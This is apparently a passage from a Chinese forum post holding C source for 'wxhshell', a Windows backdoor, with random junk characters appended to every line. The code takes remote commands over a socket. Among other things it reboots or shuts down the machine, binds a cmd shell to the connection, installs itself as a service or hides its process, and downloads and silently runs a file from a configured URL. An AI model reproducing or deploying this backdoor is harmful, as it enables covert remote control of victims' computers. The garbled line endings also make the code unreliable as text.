    switch(cmd[0]) { xF;v 6d  
  1\0@?6`^  
  // 帮助 !%r`'|9y  
  case '?': { 3~ZVAg[c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lv*uXg.k^  
    break; 9,CC1f  
  } P;&p[[7  
  // 安装 N~jQ!y  
  case 'i': { 5nAF=Bj  
    if(Install()) [ )~@NN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1.uQ(>n  
    else su;S)yZb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a7G2C oM8  
    break; di2=P)3  
    } KCE-6T  
  // 卸载 d Al<'~g  
  case 'r': { Zd ,=  
    if(Uninstall()) V bOLTc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {2^ @jD  
    else 9AzGk=^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j:3Hm0W3  
    break; h+D=/:B  
    } YWrY{6M  
  // 显示 wxhshell 所在路径 .`N` M9  
  case 'p': { {1|7N GQ  
    char svExeFile[MAX_PATH]; t}*!UixE  
    strcpy(svExeFile,"\n\r"); l$_rA~Mo  
      strcat(svExeFile,ExeFile); yW?%c#9D  
        send(wsh,svExeFile,strlen(svExeFile),0); bU`yymf{L  
    break; v^fOT5\  
    } MPN=K|*  
  // 重启 7,UFIHq  
  case 'b': { @!3^/D3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 JYOe  
    if(Boot(REBOOT)) Gw^=kzh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F5P{+z7  
    else { \|` Pul$  
    closesocket(wsh); `+c9m^  
    ExitThread(0); #`0z=w/)  
    } TR_oI<xB2  
    break; ItE~MJ5p  
    } .WyX/E$I^!  
  // 关机 = [os<+  
  case 'd': { h\\2r>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q$/FgS  
    if(Boot(SHUTDOWN)) "0zXpQi,B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M|e n>P  
    else { (Gc`3jJ  
    closesocket(wsh); l zPS RT  
    ExitThread(0); <|Eby!KXR  
    } |S`yXsg  
    break; 'xoE [0!  
    } @k6}4O?{  
  // 获取shell ?9@Af{b t2  
  case 's': { I} fcFL8  
    CmdShell(wsh); $'{`i 5XB  
    closesocket(wsh); vqz#V=J{  
    ExitThread(0); -01 1U!  
    break; 0P3|1=  
  } @ aN=U=  
  // 退出 Z;SG<  
  case 'x': { R${4Q1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lY9M<8g  
    CloseIt(wsh); N%|Vzc  
    break; }SN44 di(  
    } 3l(;Pt-yI  
  // 离开 ,h.Jfo54,  
  case 'q': { yi-"hT`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A<X :K nl  
    closesocket(wsh); j{Jc6U  
    WSACleanup(); U{uWk3I_b  
    exit(1); Qwo9>ClC  
    break; wDMB  
        } 4m[C-NB!g  
  } A6y~_dt  
  } Hs -.83V  
_QUu'zJ  
  // 提示信息 \If!5N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8421-c6y>  
} jI2gi1 ,a  
  } bW.zxQ :  
JKi@Kw  
  return; ;4v}0N~.  
} P9mxY*K)%5  
) wo2GF  
// shell模块句柄 ;@YF}%!+W  
int CmdShell(SOCKET sock) xgqv2s>L  
{ uQtk|)T E  
STARTUPINFO si; <bXWkj  
ZeroMemory(&si,sizeof(si)); AH 87UkNL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6O@ ^`T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m#'rI=}!  
PROCESS_INFORMATION ProcessInfo; Q1I_=fT  
char cmdline[]="cmd"; *5_ 8\7d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y_4krY|Zx  
  return 0; #JR,C -w  
} &c?hJ8"  
Ed0>R<jR9  
// 自身启动模式 q|$>H6H4b  
int StartFromService(void) $x_52 j\j  
{ LVFsd6:h  
typedef struct uyRA`<&w  
{ 7}tZ?vD  
  DWORD ExitStatus; LXu"rfp  
  DWORD PebBaseAddress; CBnouKc:  
  DWORD AffinityMask; .Lr)~  
  DWORD BasePriority; G<^]0`"+)t  
  ULONG UniqueProcessId; MLD>"W  
  ULONG InheritedFromUniqueProcessId; &;h~JS=  
}   PROCESS_BASIC_INFORMATION; p1VahjRE-  
1s}NQ3  
PROCNTQSIP NtQueryInformationProcess; ['4\O43yv  
Rp`_Grcd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +`s&i%{1>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h6T/0YhWLP  
ZOrTbik  
  HANDLE             hProcess; @U /3iDB\  
  PROCESS_BASIC_INFORMATION pbi; 3 +8"  
,+f0cv4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZYA.1VrM  
  if(NULL == hInst ) return 0; 7=p-A _X  
'D0X?2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R|)2Dg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |N=@E,33  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [ 4Y `O  
`k}l$ih`X  
  if (!NtQueryInformationProcess) return 0; e9Ul A  
Il^ \3T+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BvZ^^IUb  
  if(!hProcess) return 0; <` p75B  
APtselC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7tfivIj)e  
ueE?"Hk  
  CloseHandle(hProcess); _D2bGZN  
Y7:Y{7E7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9"HmHy&:E  
if(hProcess==NULL) return 0; \Ul.K!b7  
Dd5xXs+c  
HMODULE hMod; }rY?=I  
char procName[255]; }$0xt'q&  
unsigned long cbNeeded; QLB1:O>  
%7(kP}y*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >NH4A_  
Oa}V>a  
  CloseHandle(hProcess); VTJIaqw  
i#]aV]IT  
if(strstr(procName,"services")) return 1; // 以服务启动 HL(U~Q6JQ  
H7yg9zFT N  
  return 0; // 注册表启动 o1#:j?sN  
} AJ#m6`M+EK  
"Ql}Y1  
// 主模块 ] [HGzHA  
int StartWxhshell(LPSTR lpCmdLine) E/dO7I`B   
{ g* \P6  
  SOCKET wsl; Yt/SnF  
BOOL val=TRUE; |,1bkJt  
  int port=0; da00p-U  
  struct sockaddr_in door; hSkc9jBF  
W3jXZ>  
  if(wscfg.ws_autoins) Install(); uK;K{  
?}=-eJ(7e  
port=atoi(lpCmdLine); kh<pLI>$h  
*1Ut}  
if(port<=0) port=wscfg.ws_port; CCW%G,$U9  
)@<HCRQ'q  
  WSADATA data; pyg!rf-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YH'$_,8peM  
F%PwIB~cy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0HHui7Yy>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uOG-IHuF  
  door.sin_family = AF_INET; 43J\8WBn@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 42V,PH6o  
  door.sin_port = htons(port); X/E7o92\  
`sk!C7%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q6C6PPc  
closesocket(wsl); eC>"my`  
return 1; u( 1J=h  
} C@y}*XV[b  
N>A{)_k3  
  if(listen(wsl,2) == INVALID_SOCKET) { 9@#h}E1$  
closesocket(wsl); QM[A;WBr7  
return 1; 3C rQBIj1  
} d1~_?V'r]  
  Wxhshell(wsl); CYPazOfj  
  WSACleanup(); (2 T#/$  
+9CEC1-l  
return 0; *%T)\\H2  
6WE&((r ^  
} ^s^ JzFw  
2gd<8a''  
// 以NT服务方式启动 861i3OXVE>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WCuzV7tw  
{ E\]OySC%C$  
DWORD   status = 0;  Y8)E]D  
  DWORD   specificError = 0xfffffff; p~Hvl3SxR  
4AY _#f5u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N+CXOI=6x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NI5]Nz<?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >H0) ph  
  serviceStatus.dwWin32ExitCode     = 0; }O,U2=Hw`]  
  serviceStatus.dwServiceSpecificExitCode = 0; 0$eyT-:d  
  serviceStatus.dwCheckPoint       = 0; ~9JW#HHzn  
  serviceStatus.dwWaitHint       = 0; 5l41Q  
~lzdbX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lQV|U;~D  
  if (hServiceStatusHandle==0) return; May&@x/oMS  
^Yj"RM$;N  
status = GetLastError(); Q'Jv} 'eK_  
  if (status!=NO_ERROR) Ni2]6U  
{ 9 z5"y|$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,c4c@|Bh?  
    serviceStatus.dwCheckPoint       = 0; "El^38Ho  
    serviceStatus.dwWaitHint       = 0; lpl8h4d  
    serviceStatus.dwWin32ExitCode     = status; v!NB~"LQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; uP{; *E3?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X}oj_zsy;^  
    return; rQ9*J   
  } )!'n&UxPo$  
D 4< -8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ss? ]  
  serviceStatus.dwCheckPoint       = 0; m"lE&AM64p  
  serviceStatus.dwWaitHint       = 0; UF@IBb}0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #*!+b  
} (Ij0AeJ#  
![^EsgEB*  
// 处理NT服务事件,比如:启动、停止 z 0~j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x}tKewdOSe  
{ <jbj/Q )"  
switch(fdwControl) Wgxn`6  
{ /Zo~1q  
case SERVICE_CONTROL_STOP: z>4 D~HX  
  serviceStatus.dwWin32ExitCode = 0; W8f`J2^"M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BJ~ ivT<  
  serviceStatus.dwCheckPoint   = 0; {5T0RL{\N  
  serviceStatus.dwWaitHint     = 0; 9*#$0Y=  
  { G1}~.%J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1#grB(p?  
  } x!'7yx  
  return; hVMYB_<~  
case SERVICE_CONTROL_PAUSE:  X ?tj$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q]< (bD.7  
  break; +"'F Be  
case SERVICE_CONTROL_CONTINUE: ]]>nbgGn#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H76E+AY  
  break; }<vvxi  
case SERVICE_CONTROL_INTERROGATE: :/+>e IE  
  break; 2 9q?$V(  
}; +0VG[ c\8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p1+7 <Y:  
} |y.zo cBj  
r=h8oUNEJ*  
// 标准应用程序主函数  cp$.,V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :@.C4oq  
{ :~yzDk\I"-  
,{?wKXJ}L!  
// 获取操作系统版本 H{ZLk,  
OsIsNt=GetOsVer(); L >SZgmV+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5v"Y\k+1  
_-n Y2)  
  // 从命令行安装 Z;hyi'rPJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); A:/}`  
hQXxG/yFm  
  // 下载执行文件 / T ,zZ9=  
if(wscfg.ws_downexe) { l1&5uwuF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4<u;a46Z#M  
  WinExec(wscfg.ws_filenam,SW_HIDE); l$F_"o?&S@  
} l{8CISO*  
Sa Cx)8ul0  
if(!OsIsNt) { 'f 3HKn<L  
// 如果时win9x,隐藏进程并且设置为注册表启动 \I;cZ>{u"}  
HideProc(); C5Xof|#p|  
StartWxhshell(lpCmdLine); h%' N hV  
} ?4,@, ae&  
else 5? Wg%@  
  if(StartFromService()) cST\~SUm  
  // 以服务方式启动 ~]&B >q  
  StartServiceCtrlDispatcher(DispatchTable); dsV ~|D6:  
else 7R: WX:  
  // 普通方式启动  ozU2  
  StartWxhshell(lpCmdLine); %*6RzJO6  
sc%dh?m7  
return 0; `4LJ;KC(  
}
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只看该作者 1 发表于: 2006-10-10
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